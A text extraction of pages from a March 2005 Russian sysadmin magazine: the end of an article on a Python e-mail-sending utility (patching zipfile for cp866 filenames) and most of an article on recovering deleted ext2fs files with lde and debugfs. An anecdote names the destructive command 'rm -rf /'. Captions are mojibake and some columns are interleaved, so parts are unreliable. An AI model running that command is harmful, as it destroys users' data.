self.origin, sys.stdout = sys.stdout, self
def setorigin(self):
sys.stdout = self.origin
Итак, что тут происходит? Класс mystdout имеет три
функции – setmystdout(), назначает в качестве стандартно-
го потока вывода sys.stdout сам этот класс, setorigin() воз-
вращает прежнее значение, заблаговременно сохраненное
в self.origin. А функция write() необходима, чтобы этот класс
действительно мог играть роль потока вывода. В ней-то и
происходит все самое интересное – мы возвращаем на
место поток stdout, выводим в него переданную как пара-
метр и перекодированную строку, и вновь назначаем пото-
ком вывода класс mystdout. В итоге выводимые строки по-
прежнему попадают на экран, но предварительно перехва-
тываются и преобразуются в нужную кодировку.
Аналогично поступаем с sys.stdin. Классу mystdin нужен
метод readline, который вызывает стандартный readline
объекта sys.stdout (который сохранен в переменной self.origin)
и возвращает считанную строку перекодированной.
Теперь становятся понятны загадочные строки в конце
модуля send.py, в которых фигурируют объекты mi и mo.
Они служат для переопределения потоков ввода-вывода.
Вторая неприятность заключается в том, что если имя
файла содержит русские символы, то, будучи упакованным,
оно исказится. Связано это с тем, что такие программы,
как WinRAR, WinZip, 7-Zip и т. д., считают, что имена упако-
ванных файлов должны быть в кодировке cp866. Но класс
ZipFile стандартного модуля zipfile никаких преобразований
имен файлов не выполняет, записывая их, как есть. Если
предварительно преобразовать имя файла в нужную коди-
ровку и в таком виде передать его функциям модуля, то
возникает ошибка «Файл не найден», поскольку файла с
полученным именем действительно не существует.
Ранее, когда я описывал отправку файлов по FTP, дан-
ная проблема также имела место, но была не столь акту-
альна, так как предполагалось, что и упаковка, и распаков-
ка будут выполняться с помощью Python. В случае же элек-
тронной почты можно почти со стопроцентной увереннос-
тью утверждать, что распаковываться архив будет чем угод-
но, но только не программой на Python.
Для частного решения указанной проблемы я слегка
подправил библиотечный файл zipfile.py, размещающийся
в каталоге Python, в подкаталоге Lib. Копируем этот мо-
дуль под именем zipfrusw.py, и в модуле myzip подгружаем
этот измененный файл вместо zipfile. Именно это я и имел
в виду, когда выше говорил о небольшой модификации
myzip. Итак, в zipfrusw.py вносим следующие изменения. В
исходную функцию close():
Ëèñòèíã 8. Èçìåíåíèÿ â ìîäóëå zipfile: close
def close(self):
"""Close the file, and for mode "w" and "a" write
the ending records."""
.. .. .. .. .. ..
self.fp.write(centdir)
# self.fp.write(zinfo.filename)
try:
fn4zip = unicode(zinfo.filename,

pymaconf.termcodepage).encode('cp866')
self.fp.write(fn4zip)
except:
self.fp.write(zinfo.filename)
self.fp.write(zinfo.extra)
.. .. .. .. .. ..
Синим выделены добавленные строки, зеленым – ис-
ключенная. То есть здесь мы преобразуем имя файла в нуж-
ную кодировку перед тем, как оно будет записано в файл
архива. Для перекодировки используем функцию Unicode(),
которая формирует строку в кодировке UTF, с последую-
щим вызовом функции encode(), которая преобразует
Unicode-строку в указанную кодировку.
Чтобы модуль умел читать собственные творения, по-
требуются изменения в функцию getinfo():
Ëèñòèíã 9. Èçìåíåíèÿ â ìîäóëå zipfile: getinfo
def getinfo(self, name):
"""Return the instance of ZipInfo given 'name'."""
try:
name = unicode(name, ↵
'cp866').encode(pymaconf.termcodepage)
except:
pass
return self.NameToInfo[name]
и в _RealGetContents():
Ëèñòèíã 10. Èçìåíåíèÿ â ìîäóëå zipfile: _RealGetContents
def _RealGetContents(self):
"""Read in the table of contents
for the ZIP file."""
.. .. .. .. .. ..
if self.debug > 2:
print centdir
filename = fp.read(centdir[_CD_FILENAME_LENGTH])
filename = unicode(filename, ↵
'cp866').encode(pymaconf.termcodepage)
# Create ZipInfo instance to store
# file information
x = ZipInfo(filename)
.. .. .. .. .. ..
Теперь упакованные файлы сохраняют свои первона-
чальные имена при извлечении из архива, хотя должен при-
знать, что всесторонние исследования я не проводил и не
могу гарантировать, что подобный «хакинг» останется без
последствий при другом использовании модуля. Я хотел
лишь показать, что при желании исходные тексты стандар-
тных модулей всегда можно подогнать под свои нужды.
Еще осталось сделать так, чтобы нашу утилиту можно
было вызывать как «send», а не как «send.py». Для этого
создадим bat-файл send.bat:
\myprogs\python\python \myprogs\utils\pyma\send.py %1 ↵
%2 %3 %4 %5 %6 %7 %8 %9
К сожалению, в нем мы вынуждены использовать пол-
ные пути к файлам, что потребует редактирования каждый
раз, когда нужно будет перенести утилиту в другое место.
Кроме того, сценарию send.py в данном примере может быть
передано только 9 параметров, что налагает ограничения
на количество отправляемых за один раз файлов. Но зато
командная строка стала выглядеть так, как нам хочется.
Итак, мы получили небольшую утилиту, которая позво-
ляет отправлять файлы по электронной почте непосред-
№3, март 2005
администрирование
ственно из командной строки менеджера FAR. Благодаря
использованию функции glob.glob() для формирования спис-
ка файлов мы получили возможность задавать в парамет-
ре files и шаблоны. Например, так мы отправим все файлы,
имеющие расширение «py»:
sendtome files *.py as pyma
Утилита получилась достаточно гибкой – можно указать
несколько файлов для отправки (или несколько шаблонов),
задавать имя формируемого архива (по умолчанию исполь-
зуется имя первого файла или «archive.zip», если первым
задан шаблон), отказаться от упаковки и передать файлы
как есть. «Адресная книга» несколько упрощает ввод ад-
ресов электронной почты, позволяя указывать псевдони-
мы для тех адресов, которые вы наиболее часто использу-
ете. Чтобы не усложнять командную строку, тема и сопро-
водительный текст сообщения запрашиваются интерактив-
но. При желании такое поведение можно отключить, уста-
новив соответствующие переменные в pymaconf.py в ноль.
Из недостатков можно указать малоинформативный
вывод сообщений об ошибках, не совсем точное следова-
ние стандартам, несколько громоздкий и неудобный для
непосредственного просмотра формат лог-файла. Также в
данной версии не предусмотрена одновременная отправка
сразу на несколько адресов. В тело письма сейчас можно
поместить только одну строку, поскольку нажатие клави-
ши Enter прекратит ввод. Однако, как и раньше, исходный
код всегда доступен, и любой недостаток при наличии вре-
мени и желания можно легко превратить в достоинство.
Кстати, эта утилита замечательно работает и в FreeBSD.
Нужно только подправить переменные в конфигурацион-
ном файле, отвечающие за кодировку, и вместо создания
bat-файла просто переименовать send.py в send, снабдив
его «магической» строчкой:
#!/usr/local/bin/python
Ну и не забыть сделать этот файл исполняемым и дос-
тупным для поиска по переменной окружения PATH. На моем
сервере, где используется koi8-r, строки файла конфигура-
ции, отвечающие за кодировки, выглядят таким образом:
Ëèñòèíã 11. Èçìåíåíèÿ â pymaconf.py äëÿ FreeBSD
basecodepage = 'cp1251'
termcodepage = 'koi8-r'
mailcodepage = 'cp1251'
fzipcodepage = 'cp1251'
fsyscodepage = 'koi8-r'
Кодировку сообщений в исходных текстах можно оста-
вить как есть (параметр basecodepage), единственное, в
этом случае имена упаковываемых файлов в диагностичес-
ких сообщениях будут нечитаемыми. Исправить это можно
введением нескольких дополнительных перекодировок, но
их уже и без того достаточно.
На других платформах работоспособность утилиты не
проверялась, однако причин для проблем вроде бы ника-
ких нет, и если вашей системой поддерживается Python, то
должен работать и рассмотренный код.
35
 администрирование

ВОССТАНОВЛЕНИЕ УДАЛЕННЫХ ФАЙЛОВ

ПОД LINUX
Каждый из нас хотя бы однажды удалял ценный
файл, а то и весь корневой каталог целиком!
Резервной копии нет. Времени на поиски утилит
для восстановления – тоже. Как быть?
К счастью, все необходимое уже включено
в ваш любимый дистрибутив и всегда находится
под рукой. Если говорить кратко: debugfs, lsdel,
stat, cat, dump, undel. Если чуть подробнее –
читайте эту статью, рассказывающую
о восстановлении данных на ext2fs и отчасти
ext3fs-разделах.

Информации по восстановлению данных под Linux практи-
чески нет. Как будто у пользователей этой ОС данные не
исчезают. Исчезают, еще как! Ошибочное удаление файлов –
достаточно распространенное явление, наверное, даже бо-
лее частое, чем в мире Microsoft. Под Windows большин-
ство файловых операций осуществляется вручную с помо-
щью «Проводника» или других интерактивных средств типа
FAR. Интерактивные среды есть и в Linux (KDE, GNOME,
Midnight Commander), но есть там и поклонники командной
строки, а командная строка – это регулярные выражения и
скрипты, то есть автоматизированные средства управле-
ния – мощные, удобные, и… разрушительные. Малейшая
небрежность их проектирования и… прощай, мои файлы!
Помнится, год-два назад по сети распространялся «Албанс-
кий вирус». То тут, то там на форумах появлялись сообще-
ния с просьбой объяснить, что делает очень запутанный код
на Perl. Задетые за живое гуру, поленившись вникнуть в его
суть, просто запускали непонятную программу на выполне-
ние... и напрасно! Посредством нетривиальных подстановок
строковая конструкция разворачивалась в «rm -rf /»! Восста-
новить весь корневой каталог под ext2fs, а тем более ext3fs
очень и очень сложно. Можно даже сказать, практически не-
КРИС КАСПЕРСКИ
реально. Однако если пользователь был зарегистрирован в
системе не как root, жертвами неосторожного эксперимента
оказывались «всего лишь» файлы из его домашнего ката-
лога. Поэтому в данной статье речь пойдет только о восста-
новлении отдельных, наиболее ценных файлов.
Перефразируя Булгакова, можно сказать: мало того, что
файл смертен, так он еще и внезапно смертен! Беда никог-
да не предупреждает о своем приходе, и администратору
приходится быть постоянно начеку. Несколько секунд на-
зад все было хорошо: цвела весна, винчестер оживленно
стрекотал всеми своими головками, администратор отхле-
бывал кофе из черной кружки с надписью root, раздумы-
вая: то ли поиграть в DOOM, то ли поболтать с секретар-
шей, как вдруг… бабах! Сотни гигабайт ценнейших данных
разлетелись на мелкие осколки. Все силы брошены на раз-
гребания завалов и спасения всех, кого еще можно спасти.
Инструментарий
Программ, пригодных для восстановления данных, под Linux
совсем немного, намного меньше, чем под Windows NT, да
и тем до совершенства как до Луны. Но ведь не разрабаты-
вать же весь необходимый инструментарий самостоятель-

36
 администрирование
но?! Будем использовать то, что дают, утешая себя мыс- удобно (привычный интерфейс и все такое), с другой – ни
лью, что нашим предкам, работающим на динозаврах ма- Disk Editor, ни NT Explorer не поддерживают ext2fs/ext3fs, и
шинной эры, приходилось намного сложнее. все структуры данных приходится декодировать вручную.

Редактор диска hex-редакторы

Под Linux диски чаще всего редактируются при помощи lde UNIX – это вам не Windows! Без дисковых редакторов здесь
(расшифровывается как Linux Disk Editor). Это, конечно, не в принципе можно и обойтись. Берем любой hex-редактор,
Norton Disk Editor, но и не Microsoft Disk Probe. Профессио- открываем соответствующее дисковое устройство (напри-
нально-ориентированный инструмент консольного типа с мер, /dev/sdb1) и редактируем его в свое удовольствие. Кра-
разумным набором функциональных возможностей. Пони- сота! Старожилы, должно быть, помнят, как во времена пер-
мает ext2fs, minix, xiafs и отчасти FAT (в перспективе обе- вой молодости MS-DOS, когда ни HIEW, ни QVIEW еще не
щана поддержка NTFS, которая на Linux никому не нужна, существовало, правка исполняемых файлов на предмет «от-
а вот отсутствие в этом списке UFS и FFS очень огорчает). лома» ненужного 7xh обычно осуществлялось DiskEdit, т.е.
Поддерживает: отображение/редактирование содержи- дисковый редактор использовался как hex. А в UNIX, на-
мого в HEX-формате, просмотр суперблока (super-block), оборот, hex-редакторы используются для редактирования
файловых записей (inode) и директорий в удобочитаемом диска.
виде; контекстный поиск, поиск файловых записей, ссыла- Какой редактор выбрать? В общем-то, это дело вкуса
ющихся на данный блок (полезная штука, только, к сожа- (причем не только вашего, но еще и составителя дистрибу-
лению, реализованная кое-как и срабатывающая не всегда), тива). Одни предпочитают консольный hexedit, другие тяго-
режим восстановления с ручным редактированием списка теют к графическому khededit, а третьи выбирают BIEW (уре-
прямых/косвенных блоков, сброс дампа на диск и некото- занная калька со всем известного HIEW).
рые другие второстепенные операции.
Может работать как в пакетном, так и в интерактивном
режимах. В пакетном режиме все управление осуществля-
ется посредством командной строки, что позволяет полно-
стью или частично автоматизировать некоторые рутинные
операции.
Распространяется в исходных текстах по лицензии GPL
(http://lde.sourceforge.net), денег не требует, работает прак-
тически под любой UNIX-совместимой операционной сис-
темой (включая FreeBSD) и входит во все «правильные»
дистрибутивы (например, в Knoppix).

Ðèñóíîê 2. Âíåøíèé âèä ðåäàêòîðà hexedit

Ðèñóíîê 1. Äèñêîâûé ðåäàêòîð LDE (Linux Disk Editor)

Работа с lde на первых порах производит довольно стран-
ное впечатление: чувствуешь себя неандертальцем, пересев-
шим с IBM PC на УКНЦ/ZX Spectrum и добывающим огонь
трением. Впрочем, со временем это проходит (программист,
как известно, существо неприхотливое и ко всему привыка-
ющее). Как вариант можно загрузиться со «спасательной дис- Ðèñóíîê 3. Âíåøíèé âèä ðåäàêòîðà khexedit
кеты» и использовать знакомый Norton Disk Editor или
Runtime NT Explorer, запущенный из-под Windows PE (вер- Отладчики файловой системы
сия Windows NT, запускающаяся с CD-ROM без предвари- Отладчиками файловой системы называют утилиты, даю-
тельной установки на жесткий диск). С одной стороны, это щие доступ к «святая святых» файловой системы и позво-

№3, март 2005 37

 администрирование
ляющие манипулировать ключевыми структурами данных
по своему усмотрению.
Чем они отличаются от простых редакторов? Редактор
работает на более низком уровне – уровне блоков или сек-
торов. Он в принципе может представлять некоторые струк-
туры в наглядном виде, однако в их «физический» смысл
никак не вникает.
Отладчик файловой системы работает через драйвер,
и потому испортить раздел с его помощью намного слож-
нее. Он реализует довольно высокоуровневые операции,
такие как установка/снятие флага занятости блока, созда-
ние новой символьной ссылки и т. д. А вот «посекторного»
hex-редактора отладчики файловой системы обычно не со-
держат, поэтому обе категории программ взаимно допол-
няют друг друга.
Большинство дистрибутивов Linux (если не все из них)
включают в себя отладчик debugfs, поддерживающий ext2fs
и отчасти ext3fs.
Ðèñóíîê 4. Debugfs çà ðàáîòîé
Дисковые доктора
В мире UNIX проверка целостности файловой системы обыч-
но осуществляется программой fsck (аналог chkdsk под
Windows NT), представляющей собой консольную утилиту,
практически лишенную пользовательского интерфейса и
входящую в штатный комплект поставки любого дистрибу-
тива. Как и любое другое полностью автоматизированное
средство, она не только лечит, но случается, что и калечит,
так что пользоваться ей следует с очень большой осторож-
ностью.
LiveCD
За последние несколько лет появилось множество дистри-
бутивов Linux, загружающихся прямо с CD-ROM и не тре-
бующих установки на винчестер. Очень удобная штука для
восстановления данных. Однако далеко не все дистрибу-
тивы для этого пригодны.
Knoppix 3.7 – самый лучший дистрибутив из всех, что
мне доводилось видеть. Основан на Debian GNU/Linux. За-
1
Обзор дистрибутива Knoppix смотрите на стр. 4-6. (Прим. ред.)
2
Обзор дистрибутива Frenzy – в статьях Александра Байрака «Безумный чертёнок», №1, 2004 г. и «Frenzy: FreeBSD в кармане сисадмина»
Сергея Можайского в №2, 2004 г.
38
нимает всего один диск, но содержит практически все: от
дисковых утилит и компиляторов до офисных пакетов и
мультимедийных приложений1. Очень шустро работает, тре-
бует от 128 Мб оперативной памяти (если меньше – будет
вести свопинг на диск). В 2004 году издательство O’Reilly
выпустило шикарную книгу «KNOPPIX Hacks», содержащую
главы, посвященные технике восстановления данных.
Frenzy 0.3 – дистрибутив, основанный на FreeBSD с не-
большим количеством дисковых утилит, ориентированных
на ext2fs, в то время как основной файловой системой са-
мой BSD является USF/FFS и ext2fs она поддерживает по-
стольку-поскольку2. Тем не менее для восстановительных
работ данный диск вполне пригоден, и всем поклонникам
BSD его можно смело рекомендовать.
SuSE 9.2 – по классификации, предложенной Винни-Пу-
хом, это неправильный дистрибутив. Занимает два диска
(один с KDE, другой с GNOME). Требует не менее 256 Мб
оперативной памяти (правда, KDE-версия запускается и при
220 Мб). Очень медленно работает и не содержит ничего,
кроме щепотки офисных программ.
Подготовка к восстановлению
Прежде чем приступать к восстановлению, обязательно раз-
монтируйте дисковый раздел или на худой конец перемон-
тируйте его в режим «только на чтение». Лечение актив-
ных разделов зачастую только увеличивает масштабы раз-
рушения. Если восстанавливаемые файлы находятся на ос-
новном системном разделе, у нас два пути – загрузиться с
LiveCD или подключить восстанавливаемый жесткий диск
на Linux-машину вторым.
Чтобы чего-нибудь не испортить, никогда не редакти-
руйте диск напрямую. Работайте с его копией, которую мож-
но создать командой:
cp /dev/sdb1 my_dump
где sdb1 – имя устройства, а my_dump – имя файла-дампа
или использовать dd (некоторым так привычнее). Файл-
дамп можно разместить на любом свободном разделе или
перегнать на другую машину по сети. Все дисковые утили-
ты (lde, debugsf, fschk) не заметят подвоха и будут работать
с ним, как с «настоящим» разделом.
При необходимости его даже можно смонтировать на
файловую систему:
mount my_dump mount_point -o loop
чтобы убедиться, что восстановление прошло успешно.
Команда:
cp my_dump /dev/sdb1
копирует восстановленный файл-дамп обратно в раздел, хотя
делать это совсем необязательно. Проще (и безопаснее)
копировать только восстанавливаемые файлы.

Восстановление удаленных файлов
на ext2fs
Ext2fs все еще остается базовой файловой системой для
многих Linux, поэтому рассмотрим ее первой. Концепции,
которые она исповедует, во многом схожи с NTFS, так что
культурного шока при переходе с NTFS на ext2fs с нами не
случится.
Подробное описание структуры хранения данных ищите
в документе «Design and Implementation of the Second
Extended Filesystem», а также книге Э. Таненбаума «Operating
Systems: Design and Implementation» и статье В. Мешкова
«Архитектура файловой системы ext2», опубликованной в
журнале «Системный администратор», №11, 2003 г. Исход-
ные тексты дисковых утилит (драйвер файловой системы,
lde, debugfs) также не помешают.
Структура файловой системы
В начале диска расположен boot-сектор (на незагрузочных
разделах он может быть пустым). За ним по смещению
1024 байта от начала первого сектора лежит суперблок
(super-block), содержащий ключевую информацию о струк-
туре файловой системы. (В FAT и NTFS эта информация
хранится непосредственно в boot).
В первую очередь нас будет интересовать 32-разрядное
поле s_log_block_size, расположенное по смещению 18h байт
от начала супер-блока. Здесь хранится размер одного блока
(block), или в терминологии MS-DOS/Windows кластера, вы-
раженный в виде показателя позиции, на которую нужно
сдвинуть число 200h. В естественных единицах это будет
звучать так: block_size = 200h << s_log_block_size (байт). То
есть если s_log_block_size равен нулю, размер одного бло-
ка составляет 400h байт или два стандартных сектора.
Ëèñòèíã 1. Ñòðóêòóðà äèñêîâîãî òîìà, ðàçìå÷åííîãî ïîä ext2fs
Вслед за суперблоком идут дескрипторы групп (group
descriptors) и карты свободного пространства, в просторе-
чии – битмапы (block bitmap/inode bitmap), которые нас мало
интересуют, а вот inode-таблицу, расположенную за ними,
мы рассмотрим поподробнее.
В ext2fs (как и многих других файловых системах из мира
UNIX) inode играет ту же самую роль, что и FILE Record в
NTFS. Здесь сосредоточена вся информация о файле: тип
файла (обычный файл, директория, символическая ссыл-
ка и т. д.), логический и физический размер, схема разме-
щения на диске, время создания, модификации, последне-
го доступа и удаления, правда доступа и количество ссы-
лок на файл.
№3, март 2005
администрирование
Ëèñòèíã 2. Ôîðìàò ïðåäñòàâëåíèÿ inode
Первые 12 блоков, занимаемых файлом, хранятся не-
посредственно в самом inode в массиве DIRECT BLOCKS
(непосредственные блоки для наглядности выделены по-
лужирным шрифтом). Каждый элемент массива представ-
ляет собой 32-битный номер блока. При среднем значении
BLOCK_SIZE в 4 Кб DIRECT BLOCK могут адресовать до
4 * 12 = 48 Кб данных. Если файл превышает этот размер,
создаются один или несколько блоков косвенной адресации
(INDIRECT BLOCK). Первый блок косвенной адресации
(1x INDIRECT BLOCK или просто INDIRECT BLOCK) хранит
ссылки на другие непосредственные блоки. Адрес этого бло-
ка хранится в поле i_indirect_block в inod. Как легко посчи-
тать, он адресует порядка BLOCK_SIZE/sizeof(DWORD) *
BLOCK_SIZE = 4096/4 *4 Мб данных. Если этого вдруг ока-
жется недостаточно, создается дважды косвенный блок
(2x INDIRECT BLOCK или DOUBLE INDIRECT BLOCK), хра-
нящий указатели на косвенные блоки, что позволяет адре-
совать (BLOCK_SIZE/sizeof(DWORD))**2* BLOCK_SIZE =
4096/4 ** 4096 = 4 Гб данных. Если же этого все равно недо-
статочно, создается трижды косвенный блок (3x INDIRECT
BLOCK или TRIPLE INDIRECT BLOCK), содержащий ссыл-
ки на дважды косвенные блоки (на данном рисунке трижды
косвенный блок не показан).
Отметим, что по сравнению с NTFS такая схема хране-
ния информации о размещении гораздо проще устроена,
но вместе с тем и прожорлива. Однако она обладает одним
несомненным достоинством, которое оставляет NTFS да-
леко позади. Поскольку все ссылки хранятся в неупакован-
ном виде, для каждого блока файла мы можем быстро най-
ти соответствующий ему косвенный блок, даже если inode
полностью разрушен.
Ðèñóíîê 5. Îïèñàíèå ïîðÿäêà ðàçìåùåíèÿ ôàéëà íà äèñêå,
èåðàðõèÿ íåïîñðåäñòâåííûõ è êîñâåííûõ áëîêîâ
39
 администрирование
Имя файла в inode не хранится. Ищите его внутри дирек-
торий, представляющих собой массив записей следующего
вида:
Ëèñòèíã 3. Ôîðìàò ïðåäñòàâëåíèÿ ìàññèâà äèðåêòîðèé
При удалении файла операционная система находит со-
ответствующую запись в директории. Обнуляет поле inode и
увеличивает размер предшествующей записи (поле rec_len)
на величину удаляемой. То есть предшествующая запись
как бы «поглощает» удаленную. И хотя имя файла до поры
до времени остается нетронутым, ссылка на соответствую-
щий ему inode оказывается уничтоженной. Вот и попробуй
разобраться, какому файлу какое имя принадлежит!
В самом inode при удалении файла тоже происходят
большие изменения. Количество ссылок (i_links_count) сбра-
сывается в нуль и обновляется поле последнего удаления
(i_dtime). Все блоки, принадлежащие файлу, в карте сво-
бодного пространства (block bitmap) помечаются как неис-
пользуемые, после чего данный inode также освобождает-
ся (в inode bitmap).
Техника восстановления удаленных файлов
В ext2fs полное восстановление даже только что удален-
ных файлов невозможно. В этом смысле она проигрывает
как FAT, так и NTFS. Как минимум теряется имя файла.
Точнее говоря, теряется связь имен файлов с их содержи-
мым. При удалении небольшого количества хорошо извес-
тных файлов это еще терпимо (имена-то ведь сохранились!),
но что делать, если вы удалили несколько служебных под-
каталогов, в которых никогда ранее не заглядывали?
Достаточно часто inode назначаются в том же порядке,
в котором создаются записи в таблице директорий, к тому
же существует такая штука, как «расширения» (.c, .gz, .mpg
и т. д.), так количество возможных комбинаций соответ-
ствий имен файлов и inode чаще всего бывает относитель-
но небольшим. Тем не менее восстановить удаленный кор-
невой каталог в автоматическом режиме никому не удаст-
ся, а вот NTFS с этим справляется без труда.
В общем, стратегия восстановления выглядит прибли-
зительно так: сканируем таблицу inode и отбираем все за-
писи, чье поле i_links_count равно нулю. Сортируем их по
дате удаления, чтобы файлы, удаленные последними, ока-
зались наверху списка. Как вариант можно просто нало-
жить фильтр (мы ведь помним примерное время удаления,
не правда ли?). Если соответствующие inode еще не затер-
ты вновь создаваемыми файлами, извлекаем список пря-
мых/косвенных блоков и записываем их в дамп, корректи-
руя его размер с учетом «логического» размера файла, за
которое отвечает поле i_size.
Восстановление при помощи lde
Открываем редактируемый раздел или его файловую ко-
пию: «lde my_dump» или «lde /dev/sdb1». Редактор автома-
40
тически определяет тип файловой системы (в данном слу-
чае ext2fs) и предлагает нажать «any key» для продолже-
ния. Нажимаем! Редактор переключается в режим отобра-
жения суперблока и предлагает нажать <I> для перехода в
режим inode и <B> для перехода в блочный режим (block-
mode). Жмем <I> и оказываемся в первом inode, описыва-
ющем корневой каталог. <Page Down> перемещает нас к
следующему inode, а <Page Up> – к предыдущему. Пролис-
тываем inode вниз, обращая внимание на поле LINKS. У
удаленных файлов оно равно нулю, и тогда «DELETION
TIME» содержит время последнего удаления (мы ведь по-
мним его, правда?).
Обнаружив подходящий inode, перемещаем курсор к
первому блоку в списке DIRECT BLOCKS (где он должен
находиться по умолчанию) и нажимаем <F2>. В появившем-
ся меню выбираем пункт «Block mode, viewing block under
cursor» (или сразу нажимаем горячую клавишу <Shift-B>).
Редактор перемещается на первый блок удаленного фай-
ла. Просматривая его содержимое в hex-режиме, пытаем-
ся определить, он ли это или нет. Чтобы возвратиться к про-
смотру следующего inode, нажимаем <I>, чтобы восстано-
вить файл – <Shift-R>, затем еще раз <R> и имя файла-
дампа для восстановления.
Можно восстанавливать файлы и по их содержимому.
Допустим, нам известно, что удаленный файл содержит
строку «hello, world». Нажимаем <f> и затем <A> (Search all
block). Этим мы заставляем редактор искать ссылки на все
блоки, в том числе и удаленные. Как вариант можно запус-
тить редактор с ключом «--all». Но так или иначе мы нажи-
маем <B>, затем, когда редактор перейдет в block-mode, –
</> и вводим ASCII-строку для поиска. Находим нужный
блок. Прокручивая его вверх-вниз, убеждаемся, что он дей-
ствительно принадлежит тому самому файлу. Если это так,
нажимаем <Ctrl>+<R>, заставляя редактор просматривать
все inode, содержащие ссылку на этот блок. Номер теку-
щего найденного inode отображается внизу экрана. (Имен-
но внизу! Вверху отображается номер последнего просмот-
ренного inode в режиме inode). Переходим в режим inode
по клавише <I>, нажимаем <#> и вводим номер inode, кото-
рый хотим просмотреть. Если дата удаления более или ме-
нее соответствует действительности, нажимаем <Shift-R>/
<R> для сброса файла на диск. Если нет – возвращаемся в
block-mode и продолжаем поиск.
В сложных случаях, когда список прямых и/или косвен-
ных блоков разрушен, восстанавливаемый файл приходит-
ся собирать буквально по кусочкам, основываясь на его
внутреннем содержимом и частично – на стратегии выде-
ления свободного пространства файловой системой. В этом
нам поможет клавиша <w> – дописать текущий блок к
файлу-дампу. Просто перебираем все свободные блоки
один за другим (редактор помечает их строкой NOT USED)
и, обнаружив подходящий, дописываем в файл. Конечно,
сильно фрагментированный двоичный файл так не восста-
новить, но вот листинг программы можно вполне.
Вывод – ручное восстановление файлов с помощью lde
крайне непроизводительно и трудоемко, зато наиболее
«прозрачно» и надежно.
А вот восстанавливать оригинальные имена лучше все-
го при помощи debugfs.

Восстановление при помощи debugfs
Загружаем в отладчик редактируемый раздел или его ко-
пию, «debugfs my_dump» или «debugfs /dev/sdb1». Если мы
планируем осуществлять запись на диск, необходимо ука-
зать ключ «-w» («debugfs -w my_dump» или «debugfs -w /dev/
sdb1». Чтобы просмотреть список удаленных файлов, даем
команду «lsdel» (или «lsdel t_sec», где t_sec – количество се-
кунд, прошедшее с момента удаления файла). Экран запол-
няется списком удаленных файлов. Естественно, без имен.
Файлы, удаленные более чем t_sec секунд назад (если sec
задан), в этот список не попадают.
Команда «cat <N>» выводит содержимое текстового
файла на терминал, где <N> – номер inode, заключенный в
угловые кавычки. При выводе двоичных файлов на экране
творится черт знает что, и такие файлы должны сбрасы-
ваться в дамп командой «dump <N> new_file_name», где
«new_file_name» – новое имя файла (с путем), под которым
он будет записан в родную (native) файловую систему, т.е.
ту файловую систему, на которой был запущен debugfs.
Файловая система восстанавливаемого раздела при этом
остается неприкосновенной. Другими словами, наличие
ключа «-w» для этого не требуется.
При желании можно «реанимировать» файл непосред-
ственно на самой восстанавливаемой файловой системе (что
особенно удобно при восстановлении больших файлов).
В этом нам поможет команда «undel <N> undel_file_name»,
где undel_file_name – имя, которое будет присвоено файлу
после восстановления. Внимание! Когда будете это делать,
помните, что команда undel крайне агрессивна и деструк-
тивна по своей природе. Она затирает первую свободную
запись в таблице директорий, делая восстановление ориги-
нальных имен невозможным!
Команда «stat <N>» отображает содержимое inode в
удобочитаемом виде, а команда «mi <N>» позволяет редак-
тировать их по своему усмотрению. Для ручного восстанов-
ления файла (которого не пожелаешь и врагу) мы должны
установить счетчик ссылок (link count) в единицу, а время
удаления (deletion time), наоборот, сбросить в нуль. Затем
отдать команду «seti <N>», помечающую данный inode как
используемый, и для каждого из блоков файла выполнить
«setb X», где X – номер блока (перечень блоков, занимае-
мых файлов, можно подсмотреть командой stat, причем в
отличие от lde она отображает не только непосредствен-
ные, но и косвенные блоки, что несравненно удобнее). Ос-
тается только дать файлу имя, что осуществляется путем
создания каталожной ссылки (directory link), а делает это
команда «ln <N> undel_file_name», где undel_file_name –
имя, которое будет дано файлу после восстановления, при
необходимости с путем. (Внимание! создание каталожных
ссылок необратимо затирает оригинальные имена удален-
ных файлов). После этого полезно дать команду «dirty»,
чтобы файловая система была автоматически проверена
при следующей загрузке, или выйти из отладчика и вруч-
ную запустить fsck с ключом «-f», форсирующим проверку.
Теперь перейдем к восстановлению оригинального име-
ни. Рассмотрим простейший случай, когда директория, со-
держащая удаленный файл (также называемая материнс-
кой директорией) все еще цела. Даем команду «stat dir_
name» и запоминаем номер inode, который нам сообщат.
№3, март 2005
администрирование
Говорим отладчику «dump <INODE> dir_file», где INODE –
номер сообщенного нам индексного дескриптора, dir_file –
имя файла на родной файловой системе, в которую будет
записан дамп. Загружаем полученный дамп в hex-редак-
тор и просматриваем его содержимое в «сыром» виде. Все
имена будут там. При желании можно написать утилиту-
фильтр, выводящую только удаленные имена. На Perl это
не займет и десяти минут.
А как быть, если материнская директория тоже постра-
дала? Тогда она и будет помечена удаленной! Выводим
список удаленных inodе, отбираем из них директории, фор-
мируем перечень принадлежащих им блоков и записыва-
ем дамп в файл, просматриваемый вручную или с помо-
щью утилиты-фильтра. Как уже отмечалось, порядок рас-
положения файлов в списке inodе очень часто совпадает с
порядком расположения файлов в директории, поэтому
восстановление оригинальных имен в четырех из пяти слу-
чаев проходит на ура.
При тяжких разрушениях, когда восстанавливаемый
файл приходится собирать по кусочкам, помогает команда
«dump_unused», выводящая на терминал все неиспользуе-
мые блоки. Имеет смысл перенаправить вывод в файл, за-
пустить hexedit и покопаться в этой куче хлама – это, по
крайней мере проще, чем лазить по всему диску (на дис-
ках, заполненных более чем на три четверти, данный трюк
сокращает массу времени).
Вывод: debugfs в значительной мере автоматизирует
восстановление удаленных файлов (впрочем, до полного
комфорта ему далеко), однако восстановить файл с разру-
шенным inode он не способен и без lde здесь не обойтись.
Восстановление при помощи R-Studio
Утилита R-Studio for NTFS, уже рассмотренная нами в пре-
дыдущих номерах журнала, вопреки своему названию, под-
держивает не только NTFS, но и ext2fs/ext3fs.
Ðèñóíîê 6. Óòèëèòà R-Studio for NTFS âîññòàíàâëèâàåò
óäàëåííûå ôàéëû íà ext2fs ðàçäåëå. Ôàéëû åñòü, íî íåò èìåí
С точки зрения неквалифицированных пользователей это
хорошее средство для автоматического восстановления
удаленных файлов: интуитивно-понятный интерфейс, про-
стое управление и прочие прелести прогресса. Файлы вос-
станавливаются несколькими щелчками. Правда, без имен
и без каких-либо гарантий, что они вообще восстановятся.
41
 администрирование
Ручное восстановление не поддерживается. Файлы с раз-
рушенным inode не восстанавливаются, хотя под ext2fs, в
отличие от NTFS, это достаточно просто сделать!
В общем, для профессионального использования R-Studio
категорически не подходит (рис. 6).
Восстановление удаленных файлов
на ext3fs
Файловая система ext3fs – это ext2fs с поддержкой журна-
лирования (в терминологии NTFS – транзакций). В отличие
